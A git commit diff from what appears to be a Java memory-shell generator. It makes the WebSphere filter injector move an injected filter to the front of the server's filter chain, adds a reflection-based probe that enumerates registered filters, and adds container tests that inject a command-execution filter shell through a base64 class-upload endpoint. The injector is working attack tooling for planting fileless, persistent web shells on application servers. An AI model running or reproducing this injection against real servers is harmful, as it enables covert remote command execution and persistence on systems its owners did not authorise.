feat: support addFilterFirst for WebSphere

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

@@ -8,6 +8,7 @@ import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -168,6 +169,17 @@ public class WebSphereFilterInjector {
         invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
         invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
 
+        try {
+            List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
+            uriFilterMappingInfos.remove(filterMapping);
+            uriFilterMappingInfos.add(0, filterMapping);
+        } catch (Exception e) {
+            // WebSphere7
+            List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
+            Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
+            uriFilterMappings.add(0, fmInfo);
+        }
+
         // 清除缓存
         Object chainCache = getFieldValue(filterManager, "chainCache");
         try {
@@ -274,13 +286,9 @@ public class WebSphereFilterInjector {
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        try {
-            Field field = getField(obj, name);
-            field.setAccessible(true);
-            return field.get(obj);
-        } catch (NoSuchFieldException ignored) {
-        }
-        return null;
+        Field field = getField(obj, name);
+        field.setAccessible(true);
+        return field.get(obj);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebSphereFilterProbe.java

@@ -0,0 +1,267 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class WebSphereFilterProbe {
+
+    @Override
+    public String toString() {
+        String msg = "";
+        Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found\n";
+        } else {
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                List<Map<String, String>> filters = collectFiltersData(context);
+                allFiltersData.put(contextRoot, filters);
+            }
+            msg += formatFiltersData(allFiltersData);
+        }
+        return msg;
+    }
+
+    private List<Map<String, String>> collectFiltersData(Object context) {
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+        try {
+            Object filterManager = getFieldValue(context, "filterManager");
+            Object webAppConfig = getFieldValue(context, "config");
+            try {
+                List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
+                if (uriFilterMappingInfos == null || uriFilterMappingInfos.isEmpty()) {
+                    return Collections.emptyList();
+                }
+                for (Object uriFilterMappingInfo : uriFilterMappingInfos) {
+                    Object filterConfig = getFieldValue(uriFilterMappingInfo, "filterConfig");
+                    String filterName = (String) invokeMethod(filterConfig, "getFilterName", null, null);
+                    Collection urlPatternMappings = (Collection) invokeMethod(filterConfig, "getUrlPatternMappings", null, null);
+                    String urlPattern = (String) invokeMethod(uriFilterMappingInfo, "getUrlPattern", null, null);
+                    if (!aggregatedData.containsKey(filterName)) {
+                        String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
+                        Map<String, Object> info = new HashMap<>();
+                        info.put("filterName", filterName);
+                        info.put("filterClass", filterClassName);
+                        LinkedHashSet<String> urlPatterns = new LinkedHashSet<>();
+                        if (urlPattern != null && !urlPattern.isEmpty()) {
+                            urlPatterns.add(urlPattern);
+                        }
+                        if (urlPatternMappings != null) {
+                            urlPatterns.addAll(urlPatternMappings);
+                        }
+                        info.put("urlPatterns", urlPatterns);
+                        aggregatedData.put(filterName, info);
+                    } else {
+                        Set urlPatterns = (Set) aggregatedData.get(filterName).get("urlPatterns");
+                        if (urlPattern != null && !urlPattern.isEmpty()) {
+                            urlPatterns.add(urlPattern);
+                        }
+                        if (urlPatternMappings != null) {
+                            urlPatterns.addAll(urlPatternMappings);
+                        }
+                    }
+                }
+            } catch (Throwable throwable) {
+                throwable.printStackTrace();
+                // WebLogic 10.3.6
+                List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
+                for (Object uriFilterMapping : uriFilterMappings) {
+                    String filterName = (String) getFieldValue(uriFilterMapping, "_filterName");
+                    String urlPattern = (String) getFieldValue(uriFilterMapping, "_filterURI");
+                    if (!aggregatedData.containsKey(filterName)) {
+                        Object filterConfig = invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{filterName});
+                        String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
+                        Map<String, Object> info = new HashMap<>();
+                        info.put("filterName", filterName);
+                        info.put("filterClass", filterClassName);
+                        LinkedHashSet<String> urlPatterns = new LinkedHashSet<>();
+                        if (urlPattern != null && !urlPattern.isEmpty()) {
+                            urlPatterns.add(urlPattern);
+                        }
+                        info.put("urlPatterns", urlPatterns);
+                        aggregatedData.put(filterName, info);
+                    } else {
+                        if (urlPattern != null && !urlPattern.isEmpty()) {
+                            ((Set) aggregatedData.get(filterName).get("urlPatterns")).add(urlPattern);
+                        }
+                    }
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "[/*]" : Arrays.toString(urls.toArray()));
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"), "");
+                    appendIfPresent(output, " -> ", info.get("filterClass"), "");
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value).append(suffix);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+
+    /**
+     * com.ibm.ws.webcontainer.webapp.WebAppImpl
+     * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Object[] threadLocals = null;
+        boolean raw = false;
+        try {
+            // WebSphere Liberty
+            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        } catch (NoSuchFieldException ignored) {
+        }
+        if (threadLocals == null) {
+            // Open Liberty
+            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
+            raw = true;
+        }
+        for (Object threadLocal : threadLocals) {
+            if (threadLocal == null) {
+                continue;
+            }
+            Object value = threadLocal;
+            if (raw) {
+                value = getFieldValue(threadLocal, "value");
+            }
+            if (value == null) {
+                continue;
+            }
+            // for websphere 7.x
+            if (value.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(value, "stack");
+                for (Object stack : stackList) {
+                    try {
+                        Object config = getFieldValue(stack, "config");
+                        contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
+                    } catch (Exception ignored) {
+                    }
+                }
+            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
+                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java

@@ -62,4 +62,8 @@ public class DetectionTool {
     public static String getWebLogicFilterProbe() {
         return getBase64Class(WebLogicFilterProbe.class);
     }
+
+    public static String getWebSphereFilterProbe() {
+        return getBase64Class(WebSphereFilterProbe.class);
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java

@@ -4,6 +4,10 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -18,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.time.Duration;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -78,4 +86,26 @@ public class OpenLiberty18ContainerTest {
         String url = getUrlFromWAS(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
     }
+
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrlFromWAS(container);
+        shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        log.info(data);
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith(CommonUtil.getWebPackageNameForServer(Server.WebSphere))));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty20ContainerTest.java

@@ -4,6 +4,10 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -18,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.time.Duration;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -78,4 +86,26 @@ public class OpenLiberty20ContainerTest {
         String url = getUrlFromWAS(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
     }
+
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrlFromWAS(container);
+        shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        log.info(data);
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith(CommonUtil.getWebPackageNameForServer(Server.WebSphere))));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty22ContainerTest.java

@@ -4,6 +4,10 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -18,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.time.Duration;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -78,4 +86,26 @@ public class OpenLiberty22ContainerTest {
         String url = getUrlFromWAS(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
     }
+
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrlFromWAS(container);
+        shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        log.info(data);
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith(CommonUtil.getWebPackageNameForServer(Server.WebSphere))));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java

@@ -4,6 +4,10 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -18,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.time.Duration;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -78,4 +86,26 @@ public class OpenLiberty25ContainerTest {
         String url = getUrlFromWAS(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
     }
+
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrlFromWAS(container);
+        shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        log.info(data);
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith(CommonUtil.getWebPackageNameForServer(Server.WebSphere))));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java

@@ -4,12 +4,15 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
 import org.junit.jupiter.api.Test;
-import org.testcontainers.containers.BindMode;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.wait.strategy.Wait;
 import org.testcontainers.junit.jupiter.Container;
@@ -18,9 +21,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.time.Duration;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -78,4 +85,25 @@ public class WebSphere855ContainerTest {
         String url = getUrlFromWAS(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
     }
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrlFromWAS(container);
+        shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        log.info(data);
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith(CommonUtil.getWebPackageNameForServer(Server.WebSphere))));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java

@@ -4,6 +4,10 @@ import com.reajason.javaweb.Server;
 import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -17,9 +21,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.time.Duration;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -72,4 +80,26 @@ public class WebSphere905ContainerTest {
         String url = getUrlFromWAS(container);
         ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
     }
+
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrlFromWAS(container);
+        shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        log.info(data);
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith(CommonUtil.getWebPackageNameForServer(Server.WebSphere))));
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java

@@ -1,8 +1,13 @@
 package com.reajason.javaweb.integration.probe.websphere7;
 
 import com.reajason.javaweb.Server;
+import com.reajason.javaweb.integration.ProbeAssertion;
 import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import org.junit.jupiter.api.Test;
@@ -15,9 +20,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.time.Duration;
+import java.util.List;
 
 import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
 import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
@@ -56,4 +65,26 @@ public class WebSphere700ContainerTest {
         String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
         assertEquals(Server.WebSphere, data);
     }
+
+
+    @Test
+    void testFilterProbe() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        System.out.println(data);
+        assertThat(data, anyOf(
+                containsString("Context: ")
+        ));
+    }
+
+    @Test
+    void testFilterFirstInject() {
+        String url = getUrlFromWAS(container);
+        shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
+        log.info(data);
+        List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
+        String filterName = ProbeAssertion.extractFilterName(filter.get(0));
+        assertThat(filterName, anyOf(startsWith(CommonUtil.getWebPackageNameForServer(Server.WebSphere))));
+    }
 }